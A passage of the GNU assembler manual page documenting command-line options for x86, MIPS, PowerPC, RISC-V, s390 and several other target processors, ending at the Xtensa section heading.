This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: i8086, i186, i286, i386, i486, i586, i686, pentium, pentiumpro, pentiumii, pentiumiii, pentium4, prescott, nocona, core, core2, corei7, iamcu, k6, k6_2, athlon, opteron, k8, amdfam10, bdver1, bdver2, bdver3, bdver4, znver1, znver2, znver3, znver4, znver5, btver1, btver2, generic32 and generic64. In addition to the basic instruction set, the assembler can be told to accept various extension mnemonics. For example, -march=i686+sse4+vmx extends i686 with sse4 and vmx. The following extensions are currently supported: 8087, 287, 387, 687, cmov, fxsr, mmx, sse, sse2, sse3, sse4a, ssse3, sse4.1, sse4.2, sse4, avx, avx2, lahf_sahf, monitor, adx, rdseed, prfchw, smap, mpx, sha, rdpid, ptwrite, cet, gfni, vaes, vpclmulqdq, prefetchwt1, clflushopt, se1, clwb, movdiri, movdir64b, enqcmd, serialize, tsxldtrk, kl, widekl, hreset, avx512f, avx512cd, avx512er, avx512pf, avx512vl, avx512bw, avx512dq, avx512ifma, avx512vbmi, avx512_4fmaps, avx512_4vnniw, avx512_vpopcntdq, avx512_vbmi2, avx512_vnni, avx512_bitalg, avx512_vp2intersect, tdx, avx512_bf16, avx_vnni, avx512_fp16, prefetchi, avx_ifma, avx_vnni_int8, cmpccxadd, wrmsrns, msrlist, avx_ne_convert, rao_int, fred, lkgs, avx_vnni_int16, sha512, sm3, sm4, pbndkb, avx10.1, avx10.1/512, avx10.1/256, avx10.1/128, user_msr, apx_f, amx_int8, amx_bf16, amx_fp16, amx_complex, amx_tile, vmx, vmfunc, smx, xsave, xsaveopt, xsavec, xsaves, aes, pclmul, fsgsbase, rdrnd, f16c, bmi2, fma, movbe, ept, lzcnt, popcnt, hle, rtm, tsx, invpcid, clflush, mwaitx, clzero, wbnoinvd, pconfig, waitpkg, uintr, cldemote, rdpru, mcommit, sev_es, lwp, fma4, xop, cx16, syscall, rdtscp, 3dnow, 3dnowa, sse4a, sse5, snp, invlpgb, tlbsync, svme and padlock. Note that these extension mnemonics can be prefixed with no to revoke the respective (and any dependent) functionality. Note further that the suffixes permitted on -march=avx10.<N> enforce a vector length restriction, i.e. despite these otherwise being “enabling” options, using these suffixes will disable all insns with wider vector or mask register operands. When the .arch directive is used with -march, the .arch directive will take precedent.

-mtune=CPU
This option specifies a processor to optimize for. When used in conjunction with the -march option, only instructions of the processor specified by the -march option will be generated. Valid CPU values are identical to the processor list of **-march=**CPU.

-moperand-check=none

-moperand-check=warning

-moperand-check=error

These options control if the assembler should check certain instruction operands or operand combinations. An example instructions where operand size cannot be inferred from its operands and also hasn’t been specified by way of an instruction suffix. **-moperand-check=**none will make the assembler not perform these checks. **-moperand-check=**warning will make the assembler issue a warning when respective checks fail, which is the default. **-moperand-check=**error will make the assembler issue an error when respective checks fail.

-msse2avx
This option specifies that the assembler should encode SSE instructions with VEX prefix, requiring AVX to be available. SSE instructions using extended GPRs will be encoded with EVEX prefix, requiring AVX512 or AVX10 to be available.

-muse-unaligned-vector-move
This option specifies that the assembler should encode aligned vector move as unaligned vector move.

-msse-check=none

-msse-check=warning

-msse-check=error

These options control if the assembler should check SSE instructions. **-msse-check=**none will make the assembler not to check SSE instructions, which is the default. **-msse-check=**warning will make the assembler issue a warning for any SSE instruction. **-msse-check=**error will make the assembler issue an error for any SSE instruction.

-mavxscalar=128

-mavxscalar=256

These options control how the assembler should encode scalar AVX instructions. **-mavxscalar=**128 will encode scalar AVX instructions with 128bit vector length, which is the default. **-mavxscalar=**256 will encode scalar AVX instructions with 256bit vector length. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mvexwig=0

-mvexwig=1

These options control how the assembler should encode VEX.W-ignored (WIG) VEX instructions. **-mvexwig=**0 will encode WIG VEX instructions with vex.w = 0, which is the default. **-mvexwig=**1 will encode WIG EVEX instructions with vex.w = 1. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mevexlig=128

-mevexlig=256

-mevexlig=512

These options control how the assembler should encode length-ignored (LIG) EVEX instructions. **-mevexlig=**128 will encode LIG EVEX instructions with 128bit vector length, which is the default. **-mevexlig=**256 and **-mevexlig=**512 will encode LIG EVEX instructions with 256bit and 512bit vector length, respectively.

-mevexwig=0

-mevexwig=1

These options control how the assembler should encode w-ignored (WIG) EVEX instructions. **-mevexwig=**0 will encode WIG EVEX instructions with evex.w = 0, which is the default. **-mevexwig=**1 will encode WIG EVEX instructions with evex.w = 1.

-mmnemonic=att

-mmnemonic=intel

This option specifies instruction mnemonic for matching instructions. The .att_mnemonic and .intel_mnemonic directives will take precedent.

-msyntax=att

-msyntax=intel

This option specifies instruction syntax when processing instructions. The .att_syntax and .intel_syntax directives will take precedent.

-mnaked-reg
This option specifies that registers don’t require a % prefix. The .att_syntax and .intel_syntax directives will take precedent.

-madd-bnd-prefix
This option forces the assembler to add BND prefix to all branches, even if such prefix was not explicitly specified in the source code.

-mno-shared
On ELF target, the assembler normally optimizes out non-PLT relocations against defined non-weak global branch targets with default visibility. The -mshared option tells the assembler to generate code which may go into a shared library where all non-weak global branch targets with default visibility can be preempted. The resulting code is slightly bigger. This option only affects the handling of branch instructions.

-mbig-obj
On PE/COFF target this option forces the use of big object file format, which allows more than 32768 sections.

-momit-lock-prefix=no

-momit-lock-prefix=yes

These options control how the assembler should encode lock prefix. This option is intended as a workaround for processors, that fail on lock prefix. This option can only be safely used with single-core, single-thread computers **-momit-lock-prefix=**yes will omit all lock prefixes. **-momit-lock-prefix=**no will encode lock prefix as usual, which is the default.

-mfence-as-lock-add=no

-mfence-as-lock-add=yes

These options control how the assembler should encode lfence, mfence and sfence. **-mfence-as-lock-add=**yes will encode lfence, mfence and sfence as lock addl $0x0, (%rsp) in 64-bit mode and lock addl $0x0, (%esp) in 32-bit mode. **-mfence-as-lock-add=**no will encode lfence, mfence and sfence as usual, which is the default.

-mrelax-relocations=no

-mrelax-relocations=yes

These options control whether the assembler should generate relax relocations, R_386_GOT32X, in 32-bit mode, or R_X86_64_GOTPCRELX and R_X86_64_REX_GOTPCRELX, in 64-bit mode. **-mrelax-relocations=**yes will generate relax relocations. **-mrelax-relocations=**no will not generate relax relocations. The default can be controlled by a configure option –enable-x86-relax-relocations.

-malign-branch-boundary=NUM
This option controls how the assembler should align branches with segment prefixes or NOP. NUM must be a power of 2. It should be 0 or no less than 16. Branches will be aligned within NUM byte boundary. -malign-branch-boundary=0, which is the default, doesn’t align branches.

-malign-branch=TYPE[+TYPE…]
This option specifies types of branches to align. TYPE is combination of jcc, which aligns conditional jumps, fused, which aligns fused conditional jumps, jmp, which aligns unconditional jumps, call which aligns calls, ret, which aligns rets, indirect, which aligns indirect jumps and calls. The default is -malign-branch=jcc+fused+jmp.

-malign-branch-prefix-size=NUM
This option specifies the maximum number of prefixes on an instruction to align branches. NUM should be between 0 and 5. The default NUM is 5.

-mbranches-within-32B-boundaries
This option aligns conditional jumps, fused conditional jumps and unconditional jumps within 32 byte boundary with up to 5 segment prefixes on an instruction. It is equivalent to -malign-branch-boundary=32 -malign-branch=jcc+fused+jmp -malign-branch-prefix-size=5. The default doesn’t align branches.

-mlfence-after-load=no

-mlfence-after-load=yes

These options control whether the assembler should generate lfence after load instructions. **-mlfence-after-load=**yes will generate lfence. **-mlfence-after-load=**no will not generate lfence, which is the default.

-mlfence-before-indirect-branch=none

-mlfence-before-indirect-branch=all

-mlfence-before-indirect-branch=register

-mlfence-before-indirect-branch=memory

These options control whether the assembler should generate lfence before indirect near branch instructions. **-mlfence-before-indirect-branch=**all will generate lfence before indirect near branch via register and issue a warning before indirect near branch via memory. It also implicitly sets **-mlfence-before-ret=**shl when there’s no explicit -mlfence-before-ret=. **-mlfence-before-indirect-branch=**register will generate lfence before indirect near branch via register. **-mlfence-before-indirect-branch=**memory will issue a warning before indirect near branch via memory. **-mlfence-before-indirect-branch=**none will not generate lfence nor issue warning, which is the default. Note that lfence won’t be generated before indirect near branch via register with **-mlfence-after-load=**yes since lfence will be generated after loading branch target register.

-mlfence-before-ret=none

-mlfence-before-ret=shl

-mlfence-before-ret=or

-mlfence-before-ret=yes

-mlfence-before-ret=not

These options control whether the assembler should generate lfence before ret. **-mlfence-before-ret=**or will generate generate or instruction with lfence. **-mlfence-before-ret=**shl/yes will generate shl instruction with lfence. **-mlfence-before-ret=**not will generate not instruction with lfence. **-mlfence-before-ret=**none will not generate lfence, which is the default.

-mx86-used-note=no

-mx86-used-note=yes

These options control whether the assembler should generate GNU_PROPERTY_X86_ISA_1_USED and GNU_PROPERTY_X86_FEATURE_2_USED GNU property notes. The default can be controlled by the –enable-x86-used-note configure option.

-mevexrcig=rne

-mevexrcig=rd

-mevexrcig=ru

-mevexrcig=rz

These options control how the assembler should encode SAE-only EVEX instructions. **-mevexrcig=**rne will encode RC bits of EVEX instruction with 00, which is the default. **-mevexrcig=**rd, **-mevexrcig=**ru and **-mevexrcig=**rz will encode SAE-only EVEX instructions with 01, 10 and 11 RC bits, respectively.

-mamd64

-mintel64

This option specifies that the assembler should accept only AMD64 or Intel64 ISA in 64-bit mode. The default is to accept common, Intel64 only and AMD64 ISAs.

-O0 | -O | -O1 | -O2 | -Os
Optimize instruction encoding with smaller instruction size. -O and -O1 encode 64-bit register load instructions with 64-bit immediate as 32-bit register load instructions with 31-bit or 32-bits immediates, encode 64-bit register clearing instructions with 32-bit register clearing instructions, encode 256-bit/512-bit VEX/EVEX vector register clearing instructions with 128-bit VEX vector register clearing instructions, encode 128-bit/256-bit EVEX vector register load/store instructions with VEX vector register load/store instructions, and encode 128-bit/256-bit EVEX packed integer logical instructions with 128-bit/256-bit VEX packed integer logical. -O2 includes -O1 optimization plus encodes 256-bit/512-bit EVEX vector register clearing instructions with 128-bit EVEX vector register clearing instructions. In 64-bit mode VEX encoded instructions with commutative source operands will also have their source operands swapped if this allows using the 2-byte VEX prefix form instead of the 3-byte one. Certain forms of AND as well as OR with the same (register) operand specified twice will also be changed to TEST. -Os includes -O2 optimization plus encodes 16-bit, 32-bit and 64-bit register tests with immediate as 8-bit register test with immediate. -O0 turns off this optimization.

The following options are available when as is configured for the Ubicom IP2K series.

-mip2022ext
Specifies that the extended IP2022 instructions are allowed.

-mip2022
Restores the default behaviour, which restricts the permitted instructions to just the basic IP2022 ones.

The following options are available when as is configured for the Renesas M32C and M16C processors.

-m32c
Assemble M32C instructions.

-m16c
Assemble M16C instructions (the default).

-relax
Enable support for link-time relaxations.

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

The following options are available when as is configured for the Renesas M32R (formerly Mitsubishi M32R) series.

–m32rx
Specify which processor in the M32R family is the target. The default is normally the M32R, but this option changes it to the M32RX.

–warn-explicit-parallel-conflicts or –Wp
Produce warning messages when questionable parallel constructs are encountered.

–no-warn-explicit-parallel-conflicts or –Wnp
Do not produce warning messages when questionable parallel constructs are encountered.

The following options are available when as is configured for the Motorola 68000 series.

-l
Shorten references to undefined symbols, to one word instead of two.

-m68000 | -m68008 | -m68010 | -m68020 | -m68030

| -m68040 | -m68060 | -m68302 | -m68331 | -m68332

| -m68333 | -m68340 | -mcpu32 | -m5200

Specify what processor in the 68000 family is the target. The default is normally the 68020, but this can be changed at configuration time.

-m68881 | -m68882 | -mno-68881 | -mno-68882
The target machine does (or does not) have a floating-point coprocessor. The default is to assume a coprocessor for 68020, 68030, and cpu32. Although the basic 68000 is not compatible with the 68881, a combination of the two can be specified, since it’s possible to do emulation of the coprocessor instructions with the main processor.

-m68851 | -mno-68851
The target machine does (or does not) have a memory-management unit coprocessor. The default is to assume an MMU for 68020 and up.

The following options are available when as is configured for an Altera Nios II processor.

-relax-section
Replace identified out-of-range branches with PC-relative jmp sequences when possible. The generated code sequences are suitable for use in position-independent code, but there is a practical limit on the extended branch range because of the length of the sequences. This option is the default.

-relax-all
Replace branch instructions not determinable to be in range and all call instructions with jmp and callr sequences (respectively). This option generates absolute relocations against the target symbols and is not appropriate for position-independent code.

-no-relax
Do not replace any branches or calls.

-EB
Generate big-endian output.

-EL
Generate little-endian output. This is the default.

-march=architecture
This option specifies the target architecture. The assembler issues an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: r1, r2. The default is r1.

The following options are available when as is configured for a PRU processor.

-mlink-relax
Assume that LD would optimize LDI32 instructions by checking the upper 16 bits of the expression. If they are all zeros, then LD would shorten the LDI32 instruction to a single LDI. In such case as will output DIFF relocations for diff expressions.

-mno-link-relax
Assume that LD would not optimize LDI32 instructions. As a consequence, DIFF relocations will not be emitted.

-mno-warn-regname-label
Do not warn if a label name matches a register name. Usually assembler programmers will want this warning to be emitted. C compilers may want to turn this off.

The following options are available when as is configured for a MIPS processor.

-G num
This option sets the largest size of an object that can be referenced implicitly with the gp register. It is only accepted for targets that use ECOFF format, such as a DECstation running Ultrix. The default value is 8.

-EB
Generate “big endian” format output.

-EL
Generate “little endian” format output.

-mips1

-mips2

-mips3

-mips4

-mips5

-mips32

-mips32r2

-mips32r3

-mips32r5

-mips32r6

-mips64

-mips64r2

-mips64r3

-mips64r5

-mips64r6

Generate code for a particular MIPS Instruction Set Architecture level. -mips1 is an alias for -march=r3000, -mips2 is an alias for -march=r6000, -mips3 is an alias for -march=r4000 and -mips4 is an alias for -march=r8000. -mips5, -mips32, -mips32r2, -mips32r3, -mips32r5, -mips32r6, -mips64, -mips64r2, -mips64r3, -mips64r5, and -mips64r6 correspond to generic MIPS V, MIPS32, MIPS32 Release 2, MIPS32 Release 3, MIPS32 Release 5, MIPS32 Release 6, MIPS64, MIPS64 Release 2, MIPS64 Release 3, MIPS64 Release 5, and MIPS64 Release 6 ISA processors, respectively.

-march=cpu
Generate code for a particular MIPS CPU.

-mtune=cpu
Schedule and tune for a particular MIPS CPU.

-mfix7000

-mno-fix7000

Cause nops to be inserted if the read of the destination register of an mfhi or mflo instruction occurs in the following two instructions.

-mfix-rm7000

-mno-fix-rm7000

Cause nops to be inserted if a dmult or dmultu instruction is followed by a load instruction.

-mfix-r5900

-mno-fix-r5900

Do not attempt to schedule the preceding instruction into the delay slot of a branch instruction placed at the end of a short loop of six instructions or fewer and always schedule a nop instruction there instead. The short loop bug under certain conditions causes loops to execute only once or twice, due to a hardware bug in the R5900 chip.

-mdebug

-no-mdebug

Cause stabs-style debugging output to go into an ECOFF-style .mdebug section instead of the standard ELF .stabs sections.

-mpdr

-mno-pdr

Control generation of .pdr sections.

-mgp32

-mfp32

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 32 bits wide at all times. -mgp32 controls the size of general-purpose registers and -mfp32 controls the size of floating-point registers.

-mgp64

-mfp64

The register sizes are normally inferred from the ISA and ABI, but these flags force a certain group of registers to be treated as 64 bits wide at all times. -mgp64 controls the size of general-purpose registers and -mfp64 controls the size of floating-point registers.

-mfpxx
The register sizes are normally inferred from the ISA and ABI, but using this flag in combination with -mabi=32 enables an ABI variant which will operate correctly with floating-point registers which are 32 or 64 bits wide.

-modd-spreg

-mno-odd-spreg

Enable use of floating-point operations on odd-numbered single-precision registers when supported by the ISA. -mfpxx implies -mno-odd-spreg, otherwise the default is -modd-spreg.

-mips16

-no-mips16

Generate code for the MIPS 16 processor. This is equivalent to putting .module mips16 at the start of the assembly file. -no-mips16 turns off this option.

-mmips16e2

-mno-mips16e2

Enable the use of MIPS16e2 instructions in MIPS16 mode. This is equivalent to putting .module mips16e2 at the start of the assembly file. -mno-mips16e2 turns off this option.

-mmicromips

-mno-micromips

Generate code for the microMIPS processor. This is equivalent to putting .module micromips at the start of the assembly file. -mno-micromips turns off this option. This is equivalent to putting .module nomicromips at the start of the assembly file.

-msmartmips

-mno-smartmips

Enables the SmartMIPS extension to the MIPS32 instruction set. This is equivalent to putting .module smartmips at the start of the assembly file. -mno-smartmips turns off this option.

-mips3d

-no-mips3d

Generate code for the MIPS-3D Application Specific Extension. This tells the assembler to accept MIPS-3D instructions. -no-mips3d turns off this option.

-mdmx

-no-mdmx

Generate code for the MDMX Application Specific Extension. This tells the assembler to accept MDMX instructions. -no-mdmx turns off this option.

-mdsp

-mno-dsp

Generate code for the DSP Release 1 Application Specific Extension. This tells the assembler to accept DSP Release 1 instructions. -mno-dsp turns off this option.

-mdspr2

-mno-dspr2

Generate code for the DSP Release 2 Application Specific Extension. This option implies -mdsp. This tells the assembler to accept DSP Release 2 instructions. -mno-dspr2 turns off this option.

-mdspr3

-mno-dspr3

Generate code for the DSP Release 3 Application Specific Extension. This option implies -mdsp and -mdspr2. This tells the assembler to accept DSP Release 3 instructions. -mno-dspr3 turns off this option.

-mmsa

-mno-msa

Generate code for the MIPS SIMD Architecture Extension. This tells the assembler to accept MSA instructions. -mno-msa turns off this option.

-mxpa

-mno-xpa

Generate code for the MIPS eXtended Physical Address (XPA) Extension. This tells the assembler to accept XPA instructions. -mno-xpa turns off this option.

-mmt

-mno-mt

Generate code for the MT Application Specific Extension. This tells the assembler to accept MT instructions. -mno-mt turns off this option.

-mmcu

-mno-mcu

Generate code for the MCU Application Specific Extension. This tells the assembler to accept MCU instructions. -mno-mcu turns off this option.

-mcrc

-mno-crc

Generate code for the MIPS cyclic redundancy check (CRC) Application Specific Extension. This tells the assembler to accept CRC instructions. -mno-crc turns off this option.

-mginv

-mno-ginv

Generate code for the Global INValidate (GINV) Application Specific Extension. This tells the assembler to accept GINV instructions. -mno-ginv turns off this option.

-mloongson-mmi

-mno-loongson-mmi

Generate code for the Loongson MultiMedia extensions Instructions (MMI) Application Specific Extension. This tells the assembler to accept MMI instructions. -mno-loongson-mmi turns off this option.

-mloongson-cam

-mno-loongson-cam

Generate code for the Loongson Content Address Memory (CAM) instructions. This tells the assembler to accept Loongson CAM instructions. -mno-loongson-cam turns off this option.

-mloongson-ext

-mno-loongson-ext

Generate code for the Loongson EXTensions (EXT) instructions. This tells the assembler to accept Loongson EXT instructions. -mno-loongson-ext turns off this option.

-mloongson-ext2

-mno-loongson-ext2

Generate code for the Loongson EXTensions R2 (EXT2) instructions. This option implies -mloongson-ext. This tells the assembler to accept Loongson EXT2 instructions. -mno-loongson-ext2 turns off this option.

-minsn32

-mno-insn32

Only use 32-bit instruction encodings when generating code for the microMIPS processor. This option inhibits the use of any 16-bit instructions. This is equivalent to putting .set insn32 at the start of the assembly file. -mno-insn32 turns off this option. This is equivalent to putting .set noinsn32 at the start of the assembly file. By default -mno-insn32 is selected, allowing all instructions to be used.

–construct-floats

–no-construct-floats

The –no-construct-floats option disables the construction of double width floating point constants by loading the two halves of the value into the two single width floating point registers that make up the double width register. By default –construct-floats is selected, allowing construction of these floating point constants.

–relax-branch

–no-relax-branch

The –relax-branch option enables the relaxation of out-of-range branches. By default –no-relax-branch is selected, causing any out-of-range branches to produce an error.

-mignore-branch-isa

-mno-ignore-branch-isa

Ignore branch checks for invalid transitions between ISA modes. The semantics of branches does not provide for an ISA mode switch, so in most cases the ISA mode a branch has been encoded for has to be the same as the ISA mode of the branch’s target label. Therefore GAS has checks implemented that verify in branch assembly that the two ISA modes match. -mignore-branch-isa disables these checks. By default -mno-ignore-branch-isa is selected, causing any invalid branch requiring a transition between ISA modes to produce an error.

-mnan=encoding
Select between the IEEE 754-2008 (-mnan=2008) or the legacy (-mnan=legacy) NaN encoding format. The latter is the default.

–emulation=name
This option was formerly used to switch between ELF and ECOFF output on targets like IRIX 5 that supported both. MIPS ECOFF support was removed in GAS 2.24, so the option now serves little purpose. It is retained for backwards compatibility. The available configuration names are: mipself, mipslelf and mipsbelf. Choosing mipself now has no effect, since the output is always ELF. mipslelf and mipsbelf select little- and big-endian output respectively, but -EL and -EB are now the preferred options instead.

-nocpp
as ignores this option. It is accepted for compatibility with the native tools.

–trap

–no-trap

–break

–no-break

Control how to deal with multiplication overflow and division by zero. –trap or –no-break (which are synonyms) take a trap exception (and only work for Instruction Set Architecture level 2 and higher); –break or –no-trap (also synonyms, and the default) take a break exception.

-n
When this option is used, as will issue a warning every time it generates a nop instruction from a macro.

The following options are available when as is configured for a LoongArch processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

The following options are available when as is configured for a Meta processor.

“-mcpu=metac11”
Generate code for Meta 1.1.

“-mcpu=metac12”
Generate code for Meta 1.2.

“-mcpu=metac21”
Generate code for Meta 2.1.

“-mfpu=metac21”
Allow code to use FPU hardware of Meta 2.1.

See the info pages for documentation of the MMIX-specific options.

The following options are available when as is configured for a NDS32 processor.

“-O1”
Optimize for performance.

“-Os”
Optimize for space.

“-EL”
Produce little endian data output.

“-EB”
Produce little endian data output.

“-mpic”
Generate PIC.

“-mno-fp-as-gp-relax”
Suppress fp-as-gp relaxation for this file.

“-mb2bb-relax”
Back-to-back branch optimization.

“-mno-all-relax”
Suppress all relaxation for this file.

“-march=<arch name>”
Assemble for architecture <arch name> which could be v3, v3j, v3m, v3f, v3s, v2, v2j, v2f, v2s.

“-mbaseline=<baseline>”
Assemble for baseline <baseline> which could be v2, v3, v3m.

“-mfpu-freg=FREG”
Specify a FPU configuration.

“0 8 SP / 4 DP registers”

“1 16 SP / 8 DP registers”

“2 32 SP / 16 DP registers”

“3 32 SP / 32 DP registers”

“-mabi=abi”

Specify a abi version <abi> could be v1, v2, v2fp, v2fpp.

“-m[no-]mac”
Enable/Disable Multiply instructions support.

“-m[no-]div”
Enable/Disable Divide instructions support.

“-m[no-]16bit-ext”
Enable/Disable 16-bit extension

“-m[no-]dx-regs”
Enable/Disable d0/d1 registers

“-m[no-]perf-ext”
Enable/Disable Performance extension

“-m[no-]perf2-ext”
Enable/Disable Performance extension 2

“-m[no-]string-ext”
Enable/Disable String extension

“-m[no-]reduced-regs”
Enable/Disable Reduced Register configuration (GPR16) option

“-m[no-]audio-isa-ext”
Enable/Disable AUDIO ISA extension

“-m[no-]fpu-sp-ext”
Enable/Disable FPU SP extension

“-m[no-]fpu-dp-ext”
Enable/Disable FPU DP extension

“-m[no-]fpu-fma”
Enable/Disable FPU fused-multiply-add instructions

“-mall-ext”
Turn on all extensions and instructions support

The following options are available when as is configured for a PowerPC processor.

-a32
Generate ELF32 or XCOFF32.

-a64
Generate ELF64 or XCOFF64.

-K PIC
Set EF_PPC_RELOCATABLE_LIB in ELF flags.

-mpwrx | -mpwr2
Generate code for POWER/2 (RIOS2).

-mpwr
Generate code for POWER (RIOS1)

-m601
Generate code for PowerPC 601.

-mppc, -mppc32, -m603, -m604
Generate code for PowerPC 603/604.

-m403, -m405
Generate code for PowerPC 403/405.

-m440
Generate code for PowerPC 440. BookE and some 405 instructions.

-m464
Generate code for PowerPC 464.

-m476
Generate code for PowerPC 476.

-m7400, -m7410, -m7450, -m7455
Generate code for PowerPC 7400/7410/7450/7455.

-m750cl, -mgekko, -mbroadway
Generate code for PowerPC 750CL/Gekko/Broadway.

-m821, -m850, -m860
Generate code for PowerPC 821/850/860.

-mppc64, -m620
Generate code for PowerPC 620/625/630.

-me200z2, -me200z4
Generate code for e200 variants, e200z2 with LSP, e200z4 with SPE.

-me300
Generate code for PowerPC e300 family.

-me500, -me500x2
Generate code for Motorola e500 core complex.

-me500mc
Generate code for Freescale e500mc core complex.

-me500mc64
Generate code for Freescale e500mc64 core complex.

-me5500
Generate code for Freescale e5500 core complex.

-me6500
Generate code for Freescale e6500 core complex.

-mlsp
Enable LSP instructions. (Disables SPE and SPE2.)

-mspe
Generate code for Motorola SPE instructions. (Disables LSP.)

-mspe2
Generate code for Freescale SPE2 instructions. (Disables LSP.)

-mtitan
Generate code for AppliedMicro Titan core complex.

-mppc64bridge
Generate code for PowerPC 64, including bridge insns.

-mbooke
Generate code for 32-bit BookE.

-ma2
Generate code for A2 architecture.

-maltivec
Generate code for processors with AltiVec instructions.

-mvle
Generate code for Freescale PowerPC VLE instructions.

-mvsx
Generate code for processors with Vector-Scalar (VSX) instructions.

-mhtm
Generate code for processors with Hardware Transactional Memory instructions.

-mpower4, -mpwr4
Generate code for Power4 architecture.

-mpower5, -mpwr5, -mpwr5x
Generate code for Power5 architecture.

-mpower6, -mpwr6
Generate code for Power6 architecture.

-mpower7, -mpwr7
Generate code for Power7 architecture.

-mpower8, -mpwr8
Generate code for Power8 architecture.

-mpower9, -mpwr9
Generate code for Power9 architecture.

-mpower10, -mpwr10
Generate code for Power10 architecture.

-mpower11, -mpwr11
Generate code for Power11 architecture.

-mfuture
Generate code for ‘future’ architecture.

-mcell

-mcell

Generate code for Cell Broadband Engine architecture.

-mcom
Generate code Power/PowerPC common instructions.

-many
Generate code for any architecture (PWR/PWRX/PPC).

-mregnames
Allow symbolic names for registers.

-mno-regnames
Do not allow symbolic names for registers.

-mrelocatable
Support for GCC’s -mrelocatable option.

-mrelocatable-lib
Support for GCC’s -mrelocatable-lib option.

-memb
Set PPC_EMB bit in ELF flags.

-mlittle, -mlittle-endian, -le
Generate code for a little endian machine.

-mbig, -mbig-endian, -be
Generate code for a big endian machine.

-msolaris
Generate code for Solaris.

-mno-solaris
Do not generate code for Solaris.

-nops=count
If an alignment directive inserts more than count nops, put a branch at the beginning to skip execution of the nops.

The following options are available when as is configured for a RISC-V processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

-march=ISA
Select the base isa, as specified by ISA. For example -march=rv32ima. If this option and the architecture attributes aren’t set, then assembler will check the default configure setting –with-arch=ISA.

-misa-spec=ISAspec
Select the default isa spec version. If the version of ISA isn’t set by -march, then assembler helps to set the version according to the default chosen spec. If this option isn’t set, then assembler will check the default configure setting –with-isa-spec=ISAspec.

-mpriv-spec=PRIVspec
Select the privileged spec version. We can decide whether the CSR is valid or not according to the chosen spec. If this option and the privilege attributes aren’t set, then assembler will check the default configure setting –with-priv-spec=PRIVspec.

-mabi=ABI
Selects the ABI, which is either “ilp32” or “lp64”, optionally followed by “f”, “d”, or “q” to indicate single-precision, double-precision, or quad-precision floating-point calling convention, or none or “e” to indicate the soft-float calling convention (“e” indicates a soft-float RVE ABI).

-mrelax
Take advantage of linker relaxations to reduce the number of instructions required to materialize symbol addresses. (default)

-mno-relax
Don’t do linker relaxations.

-march-attr
Generate the default contents for the riscv elf attribute section if the .attribute directives are not set. This section is used to record the information that a linker or runtime loader needs to check compatibility. This information includes ISA string, stack alignment requirement, unaligned memory accesses, and the major, minor and revision version of privileged specification.

-mno-arch-attr
Don’t generate the default riscv elf attribute section if the .attribute directives are not set.

-mcsr-check
Enable the CSR checking for the ISA-dependent CRS and the read-only CSR. The ISA-dependent CSR are only valid when the specific ISA is set. The read-only CSR can not be written by the CSR instructions.

-mno-csr-check
Don’t do CSR checking.

-mlittle-endian
Generate code for a little endian machine.

-mbig-endian
Generate code for a big endian machine.

See the info pages for documentation of the RX-specific options.

The following options are available when as is configured for the s390 processor family.

-m31

-m64

Select the word size, either 31/32 bits or 64 bits.

-mesa

-mzarch

Select the architecture mode, either the Enterprise System Architecture (esa) or the z/Architecture mode (zarch).

-march=processor
Specify which s390 processor variant is the target, g5 (or arch3), g6, z900 (or arch5), z990 (or arch6), z9-109, z9-ec (or arch7), z10 (or arch8), z196 (or arch9), zEC12 (or arch10), z13 (or arch11), z14 (or arch12), z15 (or arch13), or z16 (or arch14).

-mregnames

-mno-regnames

Allow or disallow symbolic names for registers.

-mwarn-areg-zero
Warn whenever the operand for a base or index register has been specified but evaluates to zero.

-mwarn-regtype-mismatch=strict

-mwarn-regtype-mismatch=relaxed

-mwarn-regtype-mismatch=no

-mno-warn-regtype-mismatch

Controls whether the assembler performs register name type checks and generates a warning message in case of a mismatch with the operand register type. The default (which can be restored by using the relaxed argument) is to perform relaxed register name type checks, which allow floating point register (FPR) names %f0 to %f15 to be specified as argument to vector register (VR) operands and vector register (VR) names %v0 to %v15 to be specified as argument to floating point register (FPR) operands. This is acceptable as the FPR are embedded into the lower half of the VR. Using the strict argument strict register name type checks are performed. The no argument, which is equivalent to -mno-warn-regtype-mismatch, disables any register name type checks.

The following options are available when as is configured for a TMS320C6000 processor.

-march=arch
Enable (only) instructions from architecture arch. By default, all instructions are permitted. The following values of arch are accepted: c62x, c64x, c64x+, c67x, c67x+, c674x.

-mdsbt

-mno-dsbt

The -mdsbt option causes the assembler to generate the Tag_ABI_DSBT attribute with a value of 1, indicating that the code is using DSBT addressing. The -mno-dsbt option, the default, causes the tag to have a value of 0, indicating that the code does not use DSBT addressing. The linker will emit a warning if objects of different type (DSBT and non-DSBT) are linked together.

-mpid=no

-mpid=near

-mpid=far

The -mpid= option causes the assembler to generate the Tag_ABI_PID attribute with a value indicating the form of data addressing used by the code. -mpid=no, the default, indicates position-dependent data addressing, -mpid=near indicates position-independent addressing with GOT accesses using near DP addressing, and -mpid=far indicates position-independent addressing with GOT accesses using far DP addressing. The linker will emit a warning if objects built with different settings of this option are linked together.

-mpic

-mno-pic

The -mpic option causes the assembler to generate the Tag_ABI_PIC attribute with a value of 1, indicating that the code is using position-independent code addressing, The -mno-pic option, the default, causes the tag to have a value of 0, indicating position-dependent code addressing. The linker will emit a warning if objects of different type (position-dependent and position-independent) are linked together.

-mbig-endian

-mlittle-endian

Generate code for the specified endianness. The default is little-endian.

The following options are available when as is configured for a TILE-Gx processor.

-m32 | -m64
Select the word size, either 32 bits or 64 bits.

-EB | -EL
Select the endianness, either big-endian (-EB) or little-endian (-EL).

The following option is available when as is configured for a Visium processor.

-mtune=arch
This option specifies the target architecture. If an attempt is made to assemble an instruction that will not execute on the target architecture, the assembler will issue an error message. The following names are recognized: mcm24 mcm gr5 gr6

The following options are available when as is configured for an Xtensa processor.

–text-section-literals | –no-text-section-literals
